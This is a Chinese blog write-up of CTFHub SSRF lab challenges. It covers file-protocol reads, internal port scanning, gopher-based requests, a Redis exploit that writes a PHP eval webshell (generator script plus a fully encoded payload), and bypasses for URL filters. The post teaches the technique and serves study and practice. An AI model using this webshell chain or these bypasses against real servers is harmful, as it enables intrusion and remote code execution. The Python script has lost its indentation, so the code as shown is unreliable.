通过ctfhub实操学习ssrf

实战中碰到的SSRF漏洞比较少,刚好在freebuf上看到了一位大佬写的ssrf系统性学习文章(https://www.freebuf.com/articles/web/258365.html)就跟着一起学习一下。

SSRF,服务端请求伪造;一般情况下,SSRF攻击的目标是外网无法连接的内部系统,比如说当我们发现一个web服务器存在ssrf时,而它又连接内网,我们就可以利用这个服务器对内网发出一些请求来获取一些敏感信息,而此时的web服务器就被当作成为跳板使用;

  SSRF形成的原因是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制。 例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF利用存在缺陷的WEB应用作为代理 攻击远程 和 本地的服务器。

漏洞攻击方式

  1. 对外网,服务器所在内网,本地进行端口扫描(挨个试探),获取一些服务的banner信息

  2. 攻击运行在内网或本地的应用程序

  3. 对内网Web应用进行指纹识别,识别企业内部的资产信息,通过访问默认文件实现(如:readme文件)

  4. 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如strust2,SQli等)

  5. 下载内网资源,利用file协议读取本地文件或资源等

  6. 内部任意主机的任意端口发送精心构造的Payload

    扫描二维码关注公众号,回复: 13115934 查看本文章
  7. DOS攻击(请求大文件,始终保持连接Keep-Alive Always)

  8. 进行跳板

  9. 利用Redis未授权访问,HTTP CRLF注入实现getshell

CTFHUB技能树,接下来就来刷这个

1.内网访问

URL如下,后面的参数为?url= 即外连一个链接请求 那么就有可能这个链接请求就是内网ip

访问成功

2.伪协议读取文件

同样的URL,根据提示那么就可以利用php伪协议来读取服务器上的内容

首先尝试直接读取不成功

利用本地文件读取协议读取到flag——这个时候如果在实战的情况下如果没有任何限制并且服务器为Linux就可以读取/etc/passwd等敏感文件

3.端口扫描

根据提示本题是来扫描端口 并且ctfhub端口范围是8000-9000

既然告诉了我们是内网端口扫描,那我们就要利用ssrf漏洞探测目标主机上还开放了哪些端口。在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情况。

这里的端口扫描我们用burpsuite来完成。首先抓包,发送到Intruder进行爆破设置:

开始爆破探测:扫描到开放了8592端口

第二部分(Gopher协议的利用)

  Gopher协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,不过现在gopher协议用得已经越来越少了.Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

我理解应该就是在某些场景它的应用非常灵活和广泛,通过构造我们想要发送的数据包,利用gopher协议发送,就能实现我们想要的请求(我乱说的,我也不知道)。

  比如,利用gopher实现:GET请求,POST请求,内网的redis,mysql(以及各类关系型数据库)未授权访问,以及MongoDB,Memcache等

gopher协议

gopher协议的格式:

gopher://127.0.0.1:70/_ + TCP/IP数据

gopher的默认端口为70,如果没有指定端口,比如gopher://127.0.0.1/_test默认是发送给70端口的

这里的 _ 是一种数据连接格式,不一定是_,其他任意字符都行,例如这里以1作为连接字符:

root@kali:~# curl gopher://127.0.0.1/1test

gopher协议的实现:
gopher会将后面的数据部分发送给相应的端口,这些数据可以是字符串,也可以是其他的数据请求包,比如GET,POST请求,redis,mysql未授权访问等,同时数据部分必须要进行url编码,这样gopher协议才能正确解析。

1.发送post请求

根据提示扫描目录,发现存在index.php和flag.php,利用file协议将两个源码分别读取出来:

index.php:

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

flag.php:

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

得到了KEY 后面就是解题 对实战没有什么帮助 就不往下接着做了

2.利用redis协议getshell——6379端口

构造redis命令

flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

我们利用如下Exp脚本生成符合gopher协议格式的payload:——别问 问就是白嫖的

import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
​
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print urllib.quote(payload)    # 由于我们这里是GET,所以要进行两次url编码

执行后生成如下payload:

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

我们直接把该paylaod用GET方法发送过去:

index.php?url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

第三部分(Bypass)

URL Bypass

根据提示必须要以http://notfound.ctfhub.com开头,那么就可以利用后缀+@+attack.com来绕过 这里的attack.com就是我们所要跳转的——这里有点像url跳转时的waf,还可以加?跳转

数字IP Bypass

题目提示如下:

可知使用了黑名单过滤了一些字符,但是黑名单永远都是不安全的;将127.0.0.1转为十进制即可:

其他绕过方式:

  • 利用其他各种指向127.0.0.1的地址

http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①

302跳转 Bypass

先直接访问:发现IP被ban了

利用短网址生成一个:

猜你喜欢

转载自blog.csdn.net/weixin_40602516/article/details/115031475
今日推荐